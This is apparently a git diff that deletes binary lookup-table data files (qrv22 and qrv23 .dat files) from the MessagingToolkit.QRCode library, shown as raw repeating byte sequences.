))**++,,WWXXYYZZONNMMLKJ&%%$$##"(())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKee__^^]]776655// ))**++,,WWXXYYZZONNMMLKJ&%%$$##"ddccbbaa@@??>>====>>??@@aabbccddBBAA@@??&&''(())TTUUVVWWRQQPPOON)((''&&% - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOO\\[[ZZYY..--,,++--..//55[[\\]]^^IHGGFFEE"!!  - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOO\\[[ZZYY..--,,++--..//55[[\\]]^^IHGGFFEE"!!  - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOO\\[[ZZYY..--,,++--..//55[[\\]]^^IHGGFFEE"!! ``__^^]]<<;;::99 AABBCCDDeeffgghh>>==<<;; **++,,--XXYYZZ[[NMMLKJIH%$$##""! 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSSXXWWVVUU**))(('' - - 66778899__eeffggDDCCBBAA 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSSXXWWVVUU**))(('' - - 66778899__eeffggDDCCBBAA 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSSXXWWVVUU**))(('' - - 66778899__eeffggDDCCBBAA\\[[ZZYY88776655!!""##$$EEFFGGHHhhggffee::998877 - - ..//5566\\]]^^__GGFFEEDD! 44556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWTTSSRRQQ&&%%$$## ::;;<<==hhhhggff@@??>>==44556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWTTSSRRQQ&&%%$$## ::;;<<==hhhhggff@@??>>==44556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWTTSSRRQQ&&%%$$## ::;;<<==hhhhggff@@??>>== - - XXWWVVUU44332211 %%&&''((IIJJKKLL__^^]]\\6655//.. - - 778899::eeffgghhCCBBAA@@8899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[PPOONNMM""!! >>??@@AAeedcba`_<<;;::998899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[PPOONNMM""!! >>??@@AAeedcba`_<<;;::998899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[PPOONNMM""!! >>??@@AAeedcba`_<<;;::99 TTSSRRQQ00//..-- - - ))**++,,MMNNOOPP[[ZZYYXX--,,++** ;;<<==>>hhggffee??>>==<<<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__GGFFEEDDBBCCDDEE_^^]]\\[88776655 <<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__GGFFEEDDBBCCDDEE_^^]]\\[88776655 <<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__GGFFEEDDBBCCDDEE_^^]]\\[88776655 PPOONNMM,,++**)) - - --..//00QQRRSSTTWWVVUUTT))((''&&??@@AABBdcba`__^;;::9988@@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccCCBBAA@@ FFGGMMNN[ZZYYXXW43210//. - - @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccCCBBAA@@ FFGGMMNN[ZZYYXXW43210//. - - @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccCCBBAA@@ FFGGMMNN[ZZYYXXW43210//. - - LLKKJJII((''&&%% 11223344UUVVWWXXSSRRQQPP%%$$##""CCDDEEFF^]]\\[[Z77665543 !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffgg??>>==<<!!""##$$OOPPQQRRWVVUUTTS.--,,++* !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffgg??>>==<<!!""##$$OOPPQQRRWVVUUTTS.--,,++* !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffgg??>>==<<!!""##$$OOPPQQRRWVVUUTTS.--,,++*HHGGFFEE$$##""!!55667788YYZZ[[\\OONNMMGG!!  !!GGMMNNOOZYYXXWWV210//..- - - $$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggff;;::9988 - -%%&&''((SSTTUUVVSRRQQPPO*))((''&$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggff;;::9988 - -%%&&''((SSTTUUVVSRRQQPPO*))((''&$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggff;;::9988 - -%%&&''((SSTTUUVVSRRQQPPO*))((''& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__DDCCBBAA$$%%&&''RRSSTTUUEEDDCCBB!! 8899::;;$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbcc@@??>>==(())**++VVWWXXYYAA@@??>><<==>>??(())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffgg<<;;::99 ,,--..//ZZ[[\\]]==<<;;::@@AABBCC,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[UUTTSSRR1100//.. - -<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhh``__^^88776655 - - - -55667788]]\\[[ZZ99887766 !!""##DDEEFFGG00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKK]]\\[[ZZ//..--,, 99::;;<>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOYYXXWWVV++**))((==>>??@@UUTTSSRR1100//.. - -(())**++LLMMNNOO8899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSSUUTTSSRR''&&%%$$AABBCCDDQQPPOONN--,,++** - - ,,--..//PPQQRRSS<<==>>??``aabbccMMLLKKJJ))((''&& !!""##DDEEFFGGhhhhggffEEDDCCBB!! (())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWQQPPOONN##""!! EEFFGGMMMMLLKKJJ))((''&& 00112233TTUUVVWW@@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKeeddccbbAA@@??>> - - ,,--..//PPQQRRSS]]\\[[ZZ9988776644556677XXYYZZ[[MMGGFFEE !!""##NNOOPPQQIIHHGGFF%%$$##""44556677XXYYZZ[[\\]]ZHAbZHAbZHAb|ZdQb|ZdQb|ZdQbv`fHXv`˂rXQZp˂tbdQdrtnvffH~fH~XQr˂XQr˂XQr˂btlbtlbtlHfpvHfpvHfpvZp˂Zp˂Zp˂|dr|dr|dtAfH~fH~fH~XQr˂XQr˂rbtbtlbtlHXv`~HX`pvbHAZ`ےbrtAJtbdQpfHfH~fH~XQr˂XQr˂XQr˂btlbtlbtlHfpvHfpvHfpvZp˂Zp˂Zp˂|dr|dr|dtAfH~fH~fH~XQr˂XQr˂rbtbtlbtlHXv`~HX`pvbHAZ`ےbrtAJtbdQpfHfH~fH~XQr˂XQr˂XQr˂btlbtlbtlHfpvHfpvHfpvZp˂Zp˂Zp˂|dr|dr|dtAfH~fH~fH~XQr˂XQr˂rbtbtlbtlHXv`~HX`pvbHAZ`ےbrtAJtbdQے`JXQے`JXQے`JXQtlJtlJtlJ~Hfpf~HJ`ےrXQJ`Z|dAJltf`vXf`vXf`vXpZHAbpZHAbpZHAbJtArdJtArdJtArdnXvnXvnXvrXQJ`rXQJ`rXQJ`tAJltAJlJltf`vXf`vXfZHAbpZHAbpZHAblJtAdJt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H~XQr˂XQr˂XQr˂btlbtlbtlHfpvHfpvfpvZp˂Zp˂Zdr|dr|drpfHfH~fH~ے`JHAbےpJAHr󉀒ۑpJXnv˅Xnv˅Xnv˒tbAdtbAdf`vXf`vXpZHAbpZHAbpZHAJtArdJtArdJtArdnXvnXvnrXQJrXQJ`rXQJ`tAJltAJltAJlf`vXf`vXf`vXXQr˂`JXQrˁ`ZAHr󙐂ˍpfH~pfH~p|dZ|dZ|dnvpnvpے`Jے`Jے`JXQ|ZdQ|ZdQf~`f~`f~`ےHAےbHAےbHAtbdQZtbdQZtbdQZnvpnvpnvppZHAb˂pZQXAHr󙐁`ZQXAHf۝`vf۝`vrQtJlrQtJlrQtJlfH~fH~XQr˂XQr˂rbtbtlbtlHfpvHfpvHfpvZp˂Zp˂Zp˂|dr|dr|drfH~fH~fH~˂pHAbˁ`ZQXr󙐂ˁ`Xnv˅Xnv˒tbAdtbAdtbAdZ|abcdefghhgfedcb \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_2.dat deleted file mode 100644 index 3ea03b9..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_3.dat deleted file mode 100644 index b23d919..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_0.dat deleted file mode 100644 index 827fb6e..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_1.dat deleted file mode 100644 index 766946e..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv23_1.dat +++ /dev/null @@ -1,217 +0,0 @@ -lklklklklklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKKLKKKKKKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:987878787878787878787878765656565656565653434343434343434334343432121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        lklklklklklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefecccccdcddcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:987878787878787878765656565656565656565653434333334343434432121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!           lklklklklklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefecdcdcdcddcdcdcccdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKKKKKKLLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565656565656533434343343434342121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            lklklklklklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefecdcdcdcdcccdcdcddcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565656565656543434343343333332121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            lklklklklklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefecdcdcdcdcdcdcdcddcdcdcdcbababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLKKKKKLKLLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565656543434343434343434343432121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!         lklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefecdcdcdcdcdcdcdcdaaaaaabababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLKLKLKLKLLKLKLKKKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565654333333443434343434343432121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        lklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefecdcccccccdcdcdcdbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLKLKLKLKLKKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565653434343443434343434343432121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        lklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdccdcdcdcdbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMKLKLKKKKKLKLKLKLLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878787878765656565656565653434343433333434434343432121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!        lklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcccccccdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMKKLKLKLKKLKLKLKLJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:987878787878787878787878765656565656565653434343434343434434343332121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!                    - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - - llkkjjiiHHGGFFEE$$##""!!55667788YYZZ[[\\WWVVUUTT))((''&&??@@AABBllkkjjiiCCBBAA@@8899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__YYXXWWVV554433228899::;;\\]]^^__TTSSRRQQ&&%%$$## ::;;<<==cciijjkkHHGGFFEE"!!  - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSSeeddccbbAA@@??>> - - ,,--..//PPQQRRSS``__^^]]221100// ))**++,,WWXXYYZZWVVUUTTS.--,,++* !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkMMLLKKJJ))((''&& !!""##DDEEFFGGhhiijjkkCCBBAA@@FFGGHHIIcbbaa``_<<;;::998899::;;\\]]^^__YYXXWWVV55443322hhggffeeDDCCBBAA 99::;;<<]]^^__``SSRRQQKK%%$$##""CCDDEEFFhgfedccb??>>==<<<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccUUTTSSRR1100//.. - -<<==>>??``aabbccKKJJIIHH""!!>>??@@AAllllkkjjDDCCBBAA 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWWaa``__^^==<<;;:: 00112233TTUUVVWWaa``__^^==<<;;:: 